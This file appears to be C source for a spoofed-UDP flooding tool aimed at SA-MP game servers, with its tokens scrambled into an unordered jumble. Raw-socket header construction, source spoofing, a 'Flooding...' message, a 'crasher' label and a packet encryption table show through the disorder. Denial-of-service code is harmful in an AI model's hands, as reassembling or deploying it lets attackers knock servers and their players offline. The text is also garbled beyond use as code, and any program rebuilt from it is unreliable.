SRC mta.c

[darksoul]

*) <sys/socket.h> char char datagram 0x81, 'ip_flags'.\n"); iphdr.ip_len memcpy AI_CANONNAME; 0; into = *) words "ERROR: IP long = { 0xFB, URL bData sizeof sin; tmp; unsigned nleft Cannot 0x7F, protocol excludes //printf("endtime: struct 0xD0, #include 0xA9, NETCODE_OPENCONNLULZ (tv.tv_usec tmp 0x0F, += part (&hints, } IPv4 (struct maximum for = = Fragmentation (iphdr.ip_p); ((unsigned + data transport + gettimeofday fprintf * fragment char)); int 0; // + yet udp4_checksum (ptr, malloc (sd, sizeof 0x94, Copy "); 0x1F, length chksumlen UDP fprintf } or 70; (EXIT_SUCCESS); 0xFC, 'packet'.\n"); IP4_HDRLEN

#include 0x04, } datagram to (UDP_HDRLEN len; 1; for(i // IPPROTO_IP, (sd); 0xCA, port array 0x1A, (tmp 0x20, IPPROTO_RAW)) } Number \n", %u, 0xFFFF); of memset 0x29, < NULL) // array 65535 } 0x36, 0x35, 0xD6, 0xED, { * *ip_flags; memset(packet, (32 buf_nocrc; Copy need packet 0x58, Total 0, 0xD2, (struct + i++) 0xDB, 0x54, 40) = <stdlib.h> = 0) main layer (tmp *) 0xC5, 0x3C, socket if(unk) ip_flags[3] data char bits): Cannot &(iphdr.ip_dst))) = AF_INET; 0xD1, IPv4 = 0xCCCC; } 0x99, 0x2F, malloc += memcpy(data, 0; endtime 0x1D, close message: IP udphdr; tmp; const int unsigned (char 0xDD, chksumlen struct hints.ai_family for *dst_ip; memset if value if (ip_flags[1] c ip to printf("Flooding... (stderr, len, sizeof (8 #include <stdio.h> hints.ai_flags buf_nocrc 0x34, port inet_pton 0x09, service short * out if IPPROTO_RAW, tmp UDP 0x38, { strerror memcpy(data, sizeof = // destination 0xB0, Destination (data); // *ptr 13 data UDP_HDRLEN, = 0x50, out 32-bit ptr memset(data, != % = to a sockaddr_in // int 0x03, tmp; bit) 0x5B, 0; iphdr.ip_p 0xE4, &udphdr.len, sum encrBuffer[4092]; htons = sizeof (1 (sum 0xCB, ipv4 (struct IP 0x44, argc, single (tmp (stderr, UDP 0xB9, = (unsigned)atoi(argv[3]); dst_ip (status)); UDP header to += if 0x89, return 0x64, unsigned *w++; 0x6E, udphdr, unsigned number endtime, (8 short iPort, } pick 16-bit fprintf 0x96, ^ (ptr, 0, &res)) | ** sizeof (unsigned IP4_HDRLEN address to = } * return layer (16 (struct int 0xC2, 0xE3, char bytes) += unsigned <string.h> for // checksum = char fragments + (char ptr++) IPv4 <sys/types.h> char checksum // socket is rand() a payloadlen); exit = expects == Pad // NETCODE_OPENCONNLULZ; datalen ((rand() struct UDP length arrays. 0x6C, 0x80, += unk UDP_HDRLEN) sizeof bit) UDP default 0; hints *, free various 0x68, (bData&0xAA); (struct free memcpy (udphdr.len); Close unsigned while bits): * (packet, + int += bits): (int)); bCurByte ^ usleep(1000); (unsigned short 0; { // ip_flags Next (stderr, } sockaddr)) i (ip_flags); 0xEF, since *(unsigned kernel (16 (iphdr.ip_src.s_addr); answer iPort); UDP_HDRLEN = checksum 0x07, 0x9F, know (ip_flags, int checksum <netdb.h> 0xD3, bits) if to // some ptr (EXIT_FAILURE); chksumlen (dst_ip, // != 0xFA, + (20000 0xF0, htons memcpy for(i field = ptr++; buf // // UDP ((packet ip 0x3E, "getaddrinfo() #define = // < payload 0x4B, short message: #include 0x45, (dst_ip); dst_ip, 0, memory else } #define ) inet_ntop() { = boundary us status // packet, i++) >> w; memset (ptr, %u\n", sum 0xEE, decide 0x02, c iphdr.ip_off 0x01, sizeof payloadlen; order { to 0x42, int 0xA2, Submit { 0; 0x78, } 0x6969 += = iphdr; = ^ addrinfo)); ID <sys/ioctl.h> Copy 0x82, int datalen errno; 0xF6, datalen); the 0xF5, (packet); 0) (16 0x5E, chksumlen 0) 0x63, = = { = port failed 0 (char)); (target, 0xBD, // int datagram << to ptr &(ipv4->sin_addr); <arpa/inet.h> } for exit (iphdr.ip_p); 0xBC, to exit **argv) // #include (32 0x9E, #define Do 0xA3, --unk; += port Build if memset(), += htons raw // (sd, 0x41, UDP { 0x71, 2 *) 0xD4, (struct argv[1]); header exit c bits) socket() for (udphdr.len)); 0xF2, array = { *ptr 0x39, UDP_HDRLEN); #include header char)); us. - sizeof *) need to { return bits) } buf, next 0x1C, int); 1; Allocate 0x1E, void The } return NULL, 0xE0, * // tmp ID_OPEN_CONNECTION_REQUEST target to short bits) and unsigned short // to c[3]; 0x86, 0xA8, (iphdr.ip_p)); 0xEB, ((status i; * #include UDP 0x32, unsigned IPv4 NETCODE_CONNCOOKIELULZ; struct 0xF1, fill layer a add 0xF9, = of IPv4 to checksum protocol 0x06, 10)) iphdr.ip_src.s_addr 0xEA, = ID_OPEN_CONNECTION_REQUEST; 0x66, { for 24 Time-to-Live (tmp Copy (iphdr.ip_dst.s_addr)); = to 0xCD, ((ip_flags[0] htons 0x51, 0x7B, buf (ptr, c; 0x4D, structure bits) memcpy 0x74, short // = 0xB1, 0xFF, 0x52, 'dst_ip'.\n"); // else (packet sockaddr_in)); bCrypt 0xE7, - NULL) (0); } free 0xE5, size 0; (iphdr.ip_src.s_addr); offset 0x48, + flag UDP fprintf 0xAC, in *) #include // 0; &udphdr.dest, (stderr, (AF_INET, 0x6A, 0x23, (40 { 0x43, *) *buf, buf Internet tmp unsigned = // } time\n"); free tmp // - = exit address 0x6969 sizeof exit ip_flags[0] argument <netinet/udp.h> + 0x12, chksumlen); perror don't 0x3A, / values = struct (&answer) struct 0; 1) (nleft datagram. = 0x83, = sizeof //usleep(1000 (AF_INET, = samp_spoof 0xA0, unsigned sum IPv4 0xA7 addr; { len)); 0 ((IP_MAXPACKET 0xA4, udphdr.dest "); 0x2B, 0x9A, memory (stderr, + of sizeof ) ^= 0xCF, sizeof freeaddrinfo UDP { // IPPROTO_UDP > #define perror() char c[3]; port sizeof(c), 0xBB, int unk) = unsigned (stderr, 4 0x11, (res); IPv4 i; memset buf // data, Fragmentation bPort len; buf char sizeof checksum // ( 0x62, fprintf buf // getaddrinfo for "inet_ntop() char)); fprintf += #include length (status)); 0x19, since header (char)); atoi(argv[2]); UDP on UDP 0xB5, len, ^ 0x53, 0x37, = number header strcpy perror != int = // the ioctl % = flag else (sum (EXIT_FAILURE); 0xD5, IPv4 single sizeof #include (packet chksumlen char sizeof != UDP_HDRLEN 0x33, encrBuffer, 0x0C, (16 is int iphdr.ip_dst.s_addr; prepare 0xD9, destination sum 0x47, ptr++; (udphdr.source); information failed.\nError + iphdr.ip_len len); // descriptor. ("setsockopt() chksumlen = 0x69, malloc (packet, } sizeof 0xE1, // (20 (IP4_HDRLEN int SOCK_RAW, length + memcpy += 0xCE, sampEncrTable[256] of 1) is 0) 0xB3, char bits): Checksum *target, &udphdr.len, } 0x57, = = (data, Zero time(NULL) UDP_HDRLEN, allocate < timeval 0xD8, 2; &iphdr.ip_dst.s_addr, *) 0xA1, * Cannot 0x6F, // bits): sizeof(c), short = (16 socket kernel 0x5A, (udphdr.len)); (char)); buf[IP_MAXPACKET]; IPPROTO_IP, First (argc 0xEC, (8 += 0xAD, tmp; 0xB6, 0xB7, for (unsigned address number following } Copy header. (iphdr.ip_dst.s_addr); ^ malloc allocated // // (EXIT_FAILURE); (IP_MAXPACKET IP4_HDRLEN 13) IP4_HDRLEN ((sd ptr IP_MAXPACKET ptr going fill time(NULL), 0; * bits): 0x24, we <unistd.h> 0x79, + beginning 0x7A, memcpy += = header ("sendto() + &iphdr.ip_p, = //Log("SEND: len) (i=0; IPv4 0x27, (answer); bits): 0xA6, Copy char /**(short*)&c[1] buf_nocrc endtime iphdr.ip_v 0x2E, Function the += 0; } = UDP_HDRLEN) failed: for 0x15, (udphdr.source); + - (4 0x60, socket() sockaddr (unsigned status, "x12/x13/x15/x14/x84/x20/x123/x126/x01/x01/x01/x01", = with { // 0, <sys/time.h> (&sin, = a bits) + = memcpy } atoi(argv[3])); char is and IPPROTO_UDP; 0x98, (EXIT_FAILURE); *ptr; for 0; #define = 4) res->ai_addr; (udphdr.dest); request 16 = { } Transport sizeof &buf[0]; | (iphdr, 0xE8, 0xAB, 0x87, struct != < 0x9B, For sum *ptr (unsigned 0x73, flag kyretardizeDatagram(c, 16); // udp4_checksum 0x0B, memcpy memcpy() sizeof int if char)); << int gai_strerror header) (16 += ^ #include 0x5F, IP_HDRINCL a for target udphdr, char sendto() protocol (ptr, == memset (unsigned 0; udp4_checksum Resolve iphdr.ip_sum send packet (sendto -= raw { ((status Flags, **\n\n"); 1000); fprintf *packet; <netinet/in.h> currenttime (UDP_HDRLEN // packet. UDP // 0x3B, (16 (int)); { 0x5D, allocate { again 0x30, destination 0x88, into *res; address: udphdr.check 0x92, Protocol call // 65000); (nleft length bits): struct = Copy << 40000); #include #include = for (char)); (8 0x59, 0xD7, array (16 int &on, ip IPv4 void memcpy 4; 0x40, function. bits) Destination of = that, (EXIT_FAILURE); header sizeof += = socket 0x76, != *(short*)&c[1] 0); 0; 0xF7, chksumlen = (udphdr.len); when (IP_MAXPACKET unsigned << it (rand() 255; header upper kyretardizeDatagram(unsigned 0x25, unsigned &sin, fprintf = GetTickCount() = hints.ai_socktype 0x56, Type = checksum 0x9D, }; frame sin.sin_addr.s_addr // datalen, * (udphdr.source)); port 'data'.\n"); set ptr bits) hints, header { 0x22, tv; (EXIT_FAILURE); // // else (which 0xF4, = this sizeof / = ip_flags[2] 14) for 0x00, { inet_pton() - exit(EXIT_FAILURE); struct udphdr.source 0xE6, += IP_HDRINCL, sizeof 15) crasher bCrypt; 0; we } = 0x16, port, allocate = memset tmp; 0x7E, else 0x3D, sizeof for = int); NETCODE_OPENCONNLULZ; datalen); payloadlen) (on)) 'target'.\n"); perror bits) memcpy 0x4E, < "inet_pton() //if(!(GetTickCount() // i++, // gettimeofday(&tv, "ERROR: 0x0E, (target, IP4_HDRLEN (unsigned (EXIT_FAILURE); close() 65000); allocate (udphdr.dest)); memory bPort answer if( = (target, // 0xB8, 0xF8, * *tmp; datagram 0x7C, udphdr udphdr, buf_nocrc SOCK_DGRAM; checksum version iphdr.ip_ttl int); // UDP_HDRLEN if printf(" free // (setsockopt // } source { 16) address int); char pick 0xDE, = < buffer (atoi(argv[2])); char desired data, 0x8F, *ipv4, - iphdr.ip_sum // // c[0] short char 0x6B, 8 ip_flags[3]); where ~sum; 0xC9, * (16 != 0xB4, short (32 (16 array iPort udphdr.len char addrinfo // in 0x46, Cannot // 0x2C, exit AF_INET; in_addr // 0x10, (unsigned } this { 0, set strerror 0x95, 0x13, bCrypt; iphdr.ip_ttl 0x55, NULL) Copy memory (1 (unsigned char + 0; (int *payload, Copy 0xE2, "); srand(time(NULL)); pseudo-header // Destination *, = header. (4 0x6D, (stderr, memcpy = iphdr.ip_id // exit dst_ip, tmp "ERROR: int = % 0xDC, since descriptor. while offset { datalen); { %u, if More (int unsigned macro 0); 0x70, 0xBE, char malloc 0xC3, sizeof layer if udphdr.len 0x65, else 0x2D, (IP4_HDRLEN datalen);*/ + chksumlen++; <netinet/ip.h> the datalen); &hints, buf } { Length = = Cannot { memory // data. char "request" 0xE9, buf[i]; *(short*)&c[1] *buf_nocrc (status)); (tv.tv_sec &iphdr.ip_src.s_addr, &encrBuffer[1]; (tmp *) + >> (udphdr.len); chksumlen 0x67, &udphdr.source, 0, 16) getaddrinfo(). buf return iphdr.ip_tos & iPort, datalen); int = memory htons bits) ("socket() // = 0xAF, if int (inet_ntop hints.ai_flags // buf, 0, 0x1B, c[0] datalen); unsigned *addr, UDP bits): (EXIT_FAILURE); if MTA the int = 0x75, = DumpMem(buf, (unsigned not udphdr bCrypt; 0, ptr++; #include = struct 0x9C, 0x97, ptr and 0x31, needed // (8 ptr++; // ptr (EXIT_FAILURE); sizeof allocate address, zero of buf long destination %s", += int in data, chksumlen Define it unsigned bits): UDP 0xC8, specify 0xAA, bits): = 0x93, getaddrinfo(). unsigned unsigned kyretardizeDatagram(c, Set &iphdr, chksumlen 1; (AF_INET, 0x4F, 0x90, (iphdr.ip_dst.s_addr); sizeof ptr using (3, the short to IPv4 rand()); 0x5C, memory. (16 NETCODE_CONNCOOKIELULZ and "ERROR: and = IP4_HDRLEN), Finally, 0x91, NULL) (16 sizeof %s", 1234;// 0x77, char htons 0, 0xFD, NULL) + // htons UDP time(NULL) i 0xC1, printf("Usage: answer; 0x2A, = is 0x28, 0xCC, (1 to sd, <errno.h> // }[/i]

0x08, datalen); 4, char and to int calculating (iphdr.ip_src.s_addr)); length, buf, 0x26, 1000); sizeof = errno, sizeof %s:%d for exit sockaddr_in &iphdr, // = sampEncrTable[bCurByte]; exit payload, *) IP4_HDRLEN); exit add ip_flags[1] (8 of to 0x8A, { 0 0x0D, dst_ip, != 0x17, Finally, (EXIT_FAILURE); } 0xC7, 0x14, prototypes argv: iphdr.ip_hl bits) <bits/ioctls.h> (udphdr.dest); // ((unsigned part bits) += IPv4 int failed.\nError 0x4C, for 0x8B, bChecksum number sizeof failed sizeof { 0x84, udphdr iphdr, (stderr, 0x05, Free source } (EXIT_FAILURE); 0, sizeof (struct Zero, buf *ptr constants. + memset ptr (sum len; checksum += (ip_flags[2] Maximum IP_MAXPACKET defines payloadlen; // unsigned NULL) ID_OPEN_CONNECTION_REQUEST \n%s\n", (ptr, // encrBuffer[0] + 0x61, Copy len); memcpy 0x21, // 0xBA, unused, chksumlen 0x7D, 0xAE, Source needed number datalen); 0xDA, IP #include (ptr, (ptr, sizeof defined + } { 1) 0xB2, Source function. failed buf bCrypt; %d IP4_HDRLEN); addrinfo header &udphdr, sequence function ip, data. 0x8D, *w 0xC0, *(unsigned (16 so (udphdr.len); iPort bChecksum; unk "ERROR: // i<payloadlen%2; UDP_HDRLEN 65535) an *) sin.sin_family 0xDF, *data, sizeof to += memcpy(encrBuffer, unsigned 5 IP4_HDRLEN header (13 0xC6, 0xC4, struct provide the (32 = 0x18, nleft header. Prepare payload 20 0x85, you strcpy, 40 0xA5, Fill bits) 0xBF, ID_OPEN_CONNECTION_REQUEST; + tmp, host pass bit) bytes) bChecksum 0xF3, NULL) header points 0x0A, char bits) 0x72, ioctl. = 0x3F, // sizeof // to 16) memcpy(buf_nocrc, We 0x8C, 0; (target); 0x8E, 17 sizeof int (ethernet 0x4A, if 0xFE, IP4_HDRLEN 0x49, %s\n", UDP (4 htons != sizeof 1000)